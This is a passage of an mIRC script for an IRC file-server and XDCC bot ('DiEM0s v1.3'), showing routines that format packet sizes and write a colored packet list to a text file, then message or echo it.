n668=    set %sizeetype Kb 
n669=    if %sizee > 1000 {
n670=      %sizee = %sizee / 1000 
n671=      set %sizeetype Mb 
n672=    }
n673=  }
n674=  write xdcclist.txt /msg $$1 15«·¤·»#14 %pre 15«·¤·»10x $+ %gete 15«·¤·»3 %sizee $+ %sizeetype $+ 15«·¤·»2 %descriptione 15«·¤·»
n675=  if %pre < %packets { goto start }
n676=  write xdcclist.txt /msg $$1 15«·¤·» 2 DiEM0s v1.3 Fserve/Xdcc'er by NeonUnix15«·¤·»
n677=  /play -c $$1 xdcclist.txt %xdcc.delay
n678=}
n679=/exdcclist {
n680=  set %pre 0
n681=  write -c xdcclist.txt /echo $active 2Total Packets: 15«·¤·» %packets 15«·¤·» 2 Total Snagged:  15«·¤·» %xdcc.dl $+ b15«·¤·»
n682=  write xdcclist.txt /echo $active 2 Use  3 / $+ %xdcc.msgctcp $me xdcc send #n 2 for packet n 
n683=  :start
n684=  inc %pre
n685=  set %sizee   %size [ $+ [ %pre ] ] 
n686=  set %gete %gets [ $+ [ %pre ] ] 
n687=  set %descriptione %description [ $+ [ %pre ] ]   
n688=  set %sizeetype b
n689=  if %sizee > 1024 { 
n690=    %sizee = %sizee / 1024 
n691=    set %sizeetype Kb 
n692=    if %sizee > 1000 {
n693=      %sizee = %sizee / 1000 
n694=      set %sizeetype Mb 
n695=    }
n696=  }
n697=  write xdcclist.txt /echo $active 15«·¤·»#14 %pre 15«·¤·»10x $+ %gete 15«·¤·»3 %sizee $+ %sizeetype $+ 15«·¤·»2 %descriptione 15«·¤·»
n698=  if %pre < %packets { goto start }
n699=  write xdcclist.txt /echo $active 15«·¤·» 2 DiEM0s v1.3 Fserve/Xdcc'er by NeonUnix15«·¤·»
n700=  /play -c $me xdcclist.txt %xdcc.delay
n701=}